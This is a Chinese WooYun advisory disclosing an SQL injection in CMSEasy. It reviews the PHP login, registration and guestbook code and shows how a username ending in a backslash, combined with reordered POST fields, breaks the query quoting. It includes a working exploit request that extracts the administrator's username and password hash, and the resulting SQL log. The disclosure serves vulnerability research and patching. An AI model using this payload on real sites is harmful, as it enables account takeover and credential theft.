当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(21) 关注此漏洞

缺陷编号: WooYun-2014-66198

漏洞标题: Cmseasy SQL注射漏洞 2

相关厂商: cmseasy

漏洞作者: Noxxx

提交时间: 2014-06-25 16:30

公开时间: 2014-09-23 16:32

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: php源码审核

6人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-25: 细节已通知厂商并且等待厂商处理中
2014-06-26: 厂商已经确认,细节仅向厂商公开
2014-06-29: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-08-20: 细节向核心白帽子及相关领域专家公开
2014-08-30: 细节向普通白帽子公开
2014-09-09: 细节向实习白帽子公开
2014-09-23: 细节向公众公开

简要描述:

注入..无限制

详细说明:

front_class.php 对 username 做了限制 但是 忘了\转义符



code 区域
if(preg_match('/(\'|")/', $_POST['username']) || preg_match('/(\'|")/', $_GET['username']) || preg_match('/(\'|")/', $_COOKIE['login_username'])){
exit('非法参数');
}





先看注册

user_act.php 289 行:



code 区域
function register_action() {
if(front::post('submit')) {
if(!config::get('reg_on')) {
front::flash(lang('网站已经关闭注册!'));
return;
}
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify') != session::get('verify')) {
front::flash(lang('验证码错误!'));
return;
}
}
if(front::post('username') != strip_tags(front::post('username'))
||front::post('username') != htmlspecialchars(front::post('username'))
) {
front::flash(lang('用户名不规范!'));
return;
}
省略 注册并没有太多的限制



我们注册一个 123123\的账户



再来看登陆的逻辑

user_act.php 176 行:



//这里登陆成功后 设置cookie 用的是post设置的 因为有转义的原因

cookie会变成 123123\\ 我们手动设置一下就行了

code 区域
function login_action() {
if(!$this->loginfalsemaxtimes())
if(front::post('submit')) {
if(config::get('verifycode')) {
if(!session::get('verify') ||front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!')."<a href=''>".lang('backuppage')."</a>");
return;
}
}
if(front::post('username') &&front::post('password')) {
$username=front::post('username');
$password=md5(front::post('password'));
$data=array(
'username'=>$username,
'password'=>$password,
);
$user=new user();
$user=$user->getrow(array('username'=>$data['username'],'password'=>$data['password']));
if(!is_array($user)) {
$this->login_false();
return;
}
$user=$data;
cookie::set('login_username',$user['username']);
cookie::set('login_password',front::cookie_encode($user['password']));
session::set('username',$user['username']);
$this->view->from=front::post('from')?front::post('from'):front::$from;
front::flash($this->fetch('user/login_success.html'));
return;
}
else {
$this->login_false();
return;
}
}
$this->view->ologinlist = ologin::getInstance()->getrows('',50);
}





ddd2.png





我们再来看留言功能



//检测是否登陆状态

code 区域
function init() {
if(!config::get('guestbook_enable')){
alerterror('留言本功能已关闭');
}
$user='';
if(cookie::get('login_username') &&cookie::get('login_password')) {
$user=new user();
$user=$user->getrow(array('username'=>cookie::get('login_username')));
}
$this->view->user=$user; //放入数据







guestbook_act.php 28-94行

code 区域
function index_action() {
$this->list_action();
if(front::post('submit')) {
if(!front::post('guesttel')) {
front::flash(lang('请填写联系电话!'));
return false;
}
if(!front::post('title')) {
front::flash(lang('请填写标题!'));
return false;
}
if(!front::post('content')) {
front::flash(lang('请选择内容!'));
return false;
}
if(config::get('verifycode')) {
if(front::post('verify')<>session::get('verify')) {
front::flash(lang('验证码错误!'));
return false;
}
}
front::$post['checked']=0;
//关键就是这个了 如果user里面有数据的话 就用user的
我们 存入是123123\ 在sql中 会把后面的转义掉

if(empty($this->view->user)) {
front::$post['userid']=0;
front::$post['username']='游客:'.front::$post['nickname'];
}else {
front::$post['userid']=$this->view->user['userid'];
front::$post['username']=$this->view->user['username'];
}
front::$post['adddate']=date('Y-m-d H:i:s');
front::$post['ip']=front::ip();

if (!get_magic_quotes_gpc()) {
front::$post['content'] = front::$post['content'];
}
front::$post['title']=strip_tags(front::$post['title']);
$data=front::$post;
$insert=$this->_table->rec_insert($data);//组合语句并查询
if($insert<1) {
front::flash(lang('留言失败!'));
}
else {
if(config::get('email_gust_send_cust') && front::$post['guestemail']){
$title = "您在".config::get('sitename')."的留言已提交";
$this->sendmail(front::$post['guestemail'], $title, $title);
}
if(config::get('email_guest_send_admin') && config::get('email')){
$title = '网站在' . date('Y-m-d H:i:s') . '有新留言了';
$this->sendmail(config::get('email'), $title, $title);
}
if(config::get('sms_on') && config::get('sms_guestbook_on')){
sendMsg(front::$post['guesttel'],config::get('sms_guestbook'));
}
if(config::get('sms_on') && config::get('sms_guestbook_admin_on') && $mobile = config::get('site_mobile')){
sendMsg($mobile,front::$post['username'].'在'.date('Y-m-d H:i:s').'留言了');
}

front::flash(lang('留言成功!'));
$this->view->submit_success=true;
if(front::get('t') == 'wap'){
front::redirect(url::create('guestbook/index/t/wap/success/'.time()));
}else{
front::redirect(url::create('guestbook/index/success/'.time()));
}
}
}
}





INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,content,userid,username,adddate) VALUES ('123','123123','123123','ss','123213','3','123123\','2014-06-25 15:35:43')

123123\ 为我们的用户名 可是后面没有可控的?

front::$post['userid']=$this->view->user['userid'];

front::$post['username']=$this->view->user['username'];

}

front::$post['adddate']=date('Y-m-d H:i:s');

front::$post['ip']=front::ip();



他是这样写的 var_dump一下变量



code 区域
array(13) {
["nickname"]=>
string(8) "11111111"
["guesttel"]=>
string(3) "123"
["guestemail"]=>
string(6) "123123"
["guestqq"]=>
string(6) "123123"
["title"]=>
string(2) "ss"
["content"]=>
string(6) "123213"
["verify"]=>
string(4) "3VTQ"
["submit"]=>
string(6) "提交"
["checked"]=>
int(0)
["userid"]=>
string(1) "3"
["username"]=>
string(10) "123123213\"
["adddate"]=>
string(19) "2014-06-25 15:39:36"
["ip"]=>
string(9) "**.**.**.**"
}





由于$_POST什么的本身就是数组 我们可以把顺序换一下.

code 区域
["userid"]=>
string(1) "3"
["username"]=>
string(10) "123123213\"
["adddate"]=>
string(19) "2014-06-25 15:39:36"
["ip"]=>
string(9) "**.**.**.**"





这个为什么一直都在后面 因为他是最后赋值的 (重新创建了数组)

既然是这样我们之前先创建掉username这个变量。这样就有个位置了 再看

code 区域
guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=il&content=123213&verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+





code 区域
array(13) {
["guesttel"]=>
string(3) "123"
["nickname"]=>
string(8) "11111111"
["guestemail"]=>
string(6) "123123"
["guestqq"]=>
string(6) "123123"
["title"]=>
string(2) "ss"
["username"]=>
string(10) "123123213\"
["content"]=>
string(6) "123213"
["verify"]=>
string(4) "3VTQ"
["submit"]=>
string(6) "提交"
["checked"]=>
int(0)
["userid"]=>
string(1) "3"
["adddate"]=>
string(19) "2014-06-25 15:42:59"
["ip"]=>
string(9) "**.**.**.**"
}
INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES ('123','123123','123123','ss','123123213\','123213','3','2014-06-25 15:42:59')





由于 留言只回显 用户名和内容 我们修改内容~

exp:

guesttel=123&nickname=11111111&guestemail=123123&guestqq=123123&title=ss&username=a&content=,(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)# &verify=3vtq&submit=+%E6%8F%90%E4%BA%A4+



SQL日志 :

INSERT INTO `cmseasy_guestbook`(guesttel,guestemail,guestqq,title,username,content,userid,adddate) VALUES ('123','123123','123123','ss','123123213\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM cmseasy_user WHERE USERID=1),1,1)#','3','2014-06-25 15:49:18')



list_action()查询留言数据 (模板中) 得登陆状态才显示





还有一点就是拼接数据的时候 他会查询表里的列 我们可以自己写其他的列。。



$data=front::$post;







漏洞证明:

sql4.png





3000.png



s3.png

修复方案:

过滤

版权声明:转载请注明来源 Noxxx@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-06-26 12:26

厂商回复:

感谢,马上修正

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2014-06-25 16:31 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)
    1

    太漂亮了

  2. 2014-06-25 16:32 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    又绕了?

  3. 2014-06-25 16:34 | 索马里的海贼 ( 普通白帽子 | Rank:264 漏洞数:25 | http://tieba.baidu.com/f?kw=WOW)
    0

    楼上两个门神镇楼。。看来有关注的必要

  4. 2014-06-25 16:39 | roker ( 普通白帽子 | Rank:372 漏洞数:109 )
    1

    楼上两个门神镇楼。。看来有关注的必要

  5. 2014-06-25 18:04 | felixk3y ( 普通白帽子 | Rank:523 漏洞数:41 | php python jsp)
    0

    @xsser @疯狗 看不到 杂办?

  6. 2014-06-25 18:05 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    0

    @felixk3y 等

  7. 2014-06-25 18:41 | HackBraid 认证白帽子 ( 普通白帽子 | Rank:1854 漏洞数:296 | 风暴网络安全空间: http://www.heysec.or...)
    0

    目测是[]注

  8. 2014-06-25 19:02 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)
    0

    @HackBraid []代表列表?数组?what?

登录后才能发表评论,请先 登录